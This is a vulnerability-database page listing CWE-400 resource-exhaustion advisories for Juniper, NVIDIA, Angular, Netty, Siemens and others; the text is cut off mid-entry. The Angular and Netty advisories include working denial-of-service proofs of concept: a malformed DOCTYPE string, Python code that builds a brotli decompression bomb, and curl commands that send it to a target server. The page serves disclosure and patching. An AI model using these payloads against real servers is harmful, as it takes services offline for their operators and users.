Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6379 vulnerabilities reference this CWE, most recent first.

GHSA-F5XQ-H855-6HMF

Vulnerability from github – Published: 2022-01-20 00:02 – Updated: 2023-07-24 15:30
VLAI
Details

An Uncontrolled Resource Consumption vulnerability in the handling of IPv6 neighbor state change events in Juniper Networks Junos OS allows an adjacent attacker to cause a memory leak in the Flexible PIC Concentrator (FPC) of an ACX5448 router. The continuous flapping of an IPv6 neighbor with specific timing will cause the FPC to run out of resources, leading to a Denial of Service (DoS) condition. Once the condition occurs, further packet processing will be impacted, creating a sustained Denial of Service (DoS) condition, requiring a manual PFE restart to restore service. The following error messages will be seen after the FPC resources have been exhausted: fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 This issue only affects the ACX5448 router. No other products or platforms are affected by this vulnerability. This issue affects Juniper Networks Junos OS on ACX5448: 18.4 versions prior to 18.4R3-S10; 19.1 versions prior to 19.1R3-S5; 19.2 versions prior to 19.2R1-S8, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S3, 19.4R2-S2, 19.4R3; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R1-S1, 20.2R2.

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-19T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An Uncontrolled Resource Consumption vulnerability in the handling of IPv6 neighbor state change events in Juniper Networks Junos OS allows an adjacent attacker to cause a memory leak in the Flexible PIC Concentrator (FPC) of an ACX5448 router. The continuous flapping of an IPv6 neighbor with specific timing will cause the FPC to run out of resources, leading to a Denial of Service (DoS) condition. Once the condition occurs, further packet processing will be impacted, creating a sustained Denial of Service (DoS) condition, requiring a manual PFE restart to restore service. The following error messages will be seen after the FPC resources have been exhausted: fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 This issue only affects the ACX5448 router. No other products or platforms are affected by this vulnerability. This issue affects Juniper Networks Junos OS on ACX5448: 18.4 versions prior to 18.4R3-S10; 19.1 versions prior to 19.1R3-S5; 19.2 versions prior to 19.2R1-S8, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S3, 19.4R2-S2, 19.4R3; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R1-S1, 20.2R2.",
  "id": "GHSA-f5xq-h855-6hmf",
  "modified": "2023-07-24T15:30:18Z",
  "published": "2022-01-20T00:02:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22155"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11263"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F637-J435-XWHV

Vulnerability from github – Published: 2026-05-20 06:31 – Updated: 2026-05-20 06:31
VLAI
Details

NVIDIA Triton Inference Server contains a vulnerability in the DALI backend, where an attacker could cause uncontrolled resource consumption. A successful exploit of this vulnerability might lead to denial of service.

Severity
5.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T04:16:47Z",
    "severity": "MODERATE"
  },
  "details": "NVIDIA Triton Inference Server contains a vulnerability in the DALI backend, where an attacker could cause uncontrolled resource consumption. A successful exploit of this vulnerability might lead to denial of service.",
  "id": "GHSA-f637-j435-xwhv",
  "modified": "2026-05-20T06:31:53Z",
  "published": "2026-05-20T06:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24215"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5828"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24215"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F652-3262-CH4X

Vulnerability from github – Published: 2025-08-21 18:31 – Updated: 2025-08-21 21:32
VLAI
Details

An issue in the component /settings/localisation of Akaunting v3.1.18 allows authenticated attackers to cause a Denial of Service (DoS) via a crafted POST request.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-55521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-21T17:15:31Z",
    "severity": "MODERATE"
  },
  "details": "An issue in the component /settings/localisation of Akaunting v3.1.18 allows authenticated attackers to cause a Denial of Service (DoS) via a crafted POST request.",
  "id": "GHSA-f652-3262-ch4x",
  "modified": "2025-08-21T21:32:04Z",
  "published": "2025-08-21T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36802"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55521"
    },
    {
      "type": "WEB",
      "url": "https://github.com/akaunting/akaunting"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vityuasd/VulList/blob/main/vul_2.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F659-JGFP-VCM8

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33
VLAI
Details

BAB TECHNOLOGIE GmbH eibPort V3 prior to 3.8.3 devices allow denial of service (Uncontrolled Resource Consumption) via requests to the lighttpd component.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-24573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-12T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "BAB TECHNOLOGIE GmbH eibPort V3 prior to 3.8.3 devices allow denial of service (Uncontrolled Resource Consumption) via requests to the lighttpd component.",
  "id": "GHSA-f659-jgfp-vcm8",
  "modified": "2022-05-24T17:33:57Z",
  "published": "2022-05-24T17:33:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24573"
    },
    {
      "type": "WEB",
      "url": "https://psytester.github.io/CVE-2020-24573"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F67J-2JQW-JPQ7

Vulnerability from github – Published: 2026-09-28 21:31 – Updated: 2026-09-28 21:31
VLAI
Summary
Angular SSR: Denial of Service (DoS) via Infinite Loop on Malformed DOCTYPE
Details

A Denial of Service (DoS) vulnerability exists in @angular/platform-server's DOM emulation parser (domino). When processing untrusted user input containing an incomplete DOCTYPE declaration ending with whitespace before EOF (such as <!DOCTYPE html), the HTML parser enters an infinite synchronous loop, pegging CPU utilization at 100% and completely freezing the Node.js server process.

Technical Description

In Angular Server-Side Rendering (SSR), @angular/platform-server uses domino to parse and sanitize HTML bound through template bindings (such as [innerHTML]) or manipulated via DOM APIs.

In Domino's HTML parser (lib/HTMLParser.js), tokenizer states that specify fixed lookahead—such as after_doctype_name_state (lookahead = 6)—rely on the state handler function to explicitly advance the character index pointer (nextchar). While branches for whitespace, >, and keyword matching advance nextchar, the EOF branch (case -1: // EOF) emitted doctype and EOF tokens without advancing nextchar or transitioning out of the state:

case -1: // EOF
  forcequirks();
  emitDoctype();
  emitEOF();
  break;

Because nextchar remained unchanged pointing to the EOF marker character (\uFFFF), the scanner loop (while (nextchar < numchars)) repeatedly re-invoked after_doctype_name_state with codepoint = EOF indefinitely. In Node.js's single-threaded runtime, this synchronous loop starves the event loop entirely.

Impact & Reachability

  • Reachability: The vulnerability is reachable in any Angular SSR application where untrusted user input is bound to [innerHTML], interpolated into markup, or sanitized on the server.
  • Impact: Successful exploitation allows an unauthenticated remote attacker to cause an immediate Denial of Service (DoS) by sending a payload containing an incomplete DOCTYPE (e.g., <!DOCTYPE html). The Node.js SSR process locks up at 100% CPU and ceases responding to all concurrent and subsequent HTTP requests.

Proof of Concept:

import { Component } from '@angular/core';

@Component({
  selector: 'app-root',
  standalone: true,
  template: `<div [innerHTML]="payload"></div>`,
})
export class AppComponent {
  // Attacker-controlled input containing an incomplete DOCTYPE ending with whitespace
  payload = '<!DOCTYPE html ';
}

Workarounds

  • Avoid binding untrusted user input directly to [innerHTML] in server-rendered templates; use standard text interpolation ({{ userInput }}) or [textContent] when raw HTML rendering is not required.
  • Validate or sanitize user input before passing it to [innerHTML] on the server by stripping or rejecting strings matching /^<!DOCTYPE/i.
Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "22.0.0"
            },
            {
              "fixed": "22.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "21.0.0"
            },
            {
              "fixed": "21.2.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "20.0.0"
            },
            {
              "fixed": "20.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "19.2.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T21:31:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A Denial of Service (DoS) vulnerability exists in `@angular/platform-server`\u0027s DOM emulation parser (`domino`). When processing untrusted user input containing an incomplete DOCTYPE declaration ending with whitespace before EOF (such as `\u003c!DOCTYPE html `), the HTML parser enters an infinite synchronous loop, pegging CPU utilization at 100% and completely freezing the Node.js server process.\n\n### Technical Description\nIn Angular Server-Side Rendering (SSR), `@angular/platform-server` uses `domino` to parse and sanitize HTML bound through template bindings (such as `[innerHTML]`) or manipulated via DOM APIs.\n\nIn Domino\u0027s HTML parser (`lib/HTMLParser.js`), tokenizer states that specify fixed lookahead\u2014such as `after_doctype_name_state` (`lookahead = 6`)\u2014rely on the state handler function to explicitly advance the character index pointer (`nextchar`). While branches for whitespace, `\u003e`, and keyword matching advance `nextchar`, the EOF branch (`case -1: // EOF`) emitted doctype and EOF tokens without advancing `nextchar` or transitioning out of the state:\n\n```javascript\ncase -1: // EOF\n  forcequirks();\n  emitDoctype();\n  emitEOF();\n  break;\n```\n\nBecause `nextchar` remained unchanged pointing to the EOF marker character (`\\uFFFF`), the scanner loop (`while (nextchar \u003c numchars)`) repeatedly re-invoked `after_doctype_name_state` with `codepoint = EOF` indefinitely. In Node.js\u0027s single-threaded runtime, this synchronous loop starves the event loop entirely.\n\n### Impact \u0026 Reachability\n* **Reachability**: The vulnerability is reachable in any Angular SSR application where untrusted user input is bound to `[innerHTML]`, interpolated into markup, or sanitized on the server.\n* **Impact**: Successful exploitation allows an unauthenticated remote attacker to cause an immediate Denial of Service (DoS) by sending a payload containing an incomplete DOCTYPE (e.g., `\u003c!DOCTYPE html `). The Node.js SSR process locks up at 100% CPU and ceases responding to all concurrent and subsequent HTTP requests.\n\n**Proof of Concept:**\n```ts\nimport { Component } from \u0027@angular/core\u0027;\n\n@Component({\n  selector: \u0027app-root\u0027,\n  standalone: true,\n  template: `\u003cdiv [innerHTML]=\"payload\"\u003e\u003c/div\u003e`,\n})\nexport class AppComponent {\n  // Attacker-controlled input containing an incomplete DOCTYPE ending with whitespace\n  payload = \u0027\u003c!DOCTYPE html \u0027;\n}\n```\n\n### Workarounds\n* Avoid binding untrusted user input directly to `[innerHTML]` in server-rendered templates; use standard text interpolation (`{{ userInput }}`) or `[textContent]` when raw HTML rendering is not required.\n* Validate or sanitize user input before passing it to `[innerHTML]` on the server by stripping or rejecting strings matching `/^\u003c!DOCTYPE/i`.",
  "id": "GHSA-f67j-2jqw-jpq7",
  "modified": "2026-09-28T21:31:21Z",
  "published": "2026-09-28T21:31:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/security/advisories/GHSA-f67j-2jqw-jpq7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/angular/angular"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Angular SSR: Denial of Service (DoS) via Infinite Loop on Malformed DOCTYPE"
}

GHSA-F6HV-JMP6-3VWV

Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS
Details

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.

The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.

For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

For brotli, zstd, and snappy, the decoders are created without any size limit:

// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())

// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())

// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.

ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.

The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

  1. Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max
  1. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024)  # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
    f.write(compressed)
# compressed size: ~1KB
  1. Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: gzip' \
  --data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
  1. Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: br' \
  --data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
  1. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

  • Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding.
  • False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.
  • Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely.
  • Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).

Recommended Fix

Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:

HttpContentDecompressor.java — pass maxAllocation to all decoders:

// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))

// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))

// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))

DelegatingDecompressorFrameListener.java — same fix at lines 188-210.

BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.

SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.

ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:46:35Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024)  # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n    f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: gzip\u0027 \\\n  --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: br\u0027 \\\n  --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
  "id": "GHSA-f6hv-jmp6-3vwv",
  "modified": "2026-05-14T20:41:29Z",
  "published": "2026-05-07T00:46:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}

GHSA-F6M2-PJ42-R7G3

Vulnerability from github – Published: 2023-10-10 12:32 – Updated: 2024-04-04 08:27
VLAI
Details

A vulnerability has been identified in SIMATIC CP 1604 (All versions), SIMATIC CP 1616 (All versions), SIMATIC CP 1623 (All versions), SIMATIC CP 1626 (All versions), SIMATIC CP 1628 (All versions). Affected devices insufficiently control continuous mapping of direct memory access (DMA) requests. This could allow local attackers with administrative privileges to cause a denial of service situation on the host. A physical power cycle is required to get the system working again.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-37195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-10T11:15:11Z",
    "severity": "MODERATE"
  },
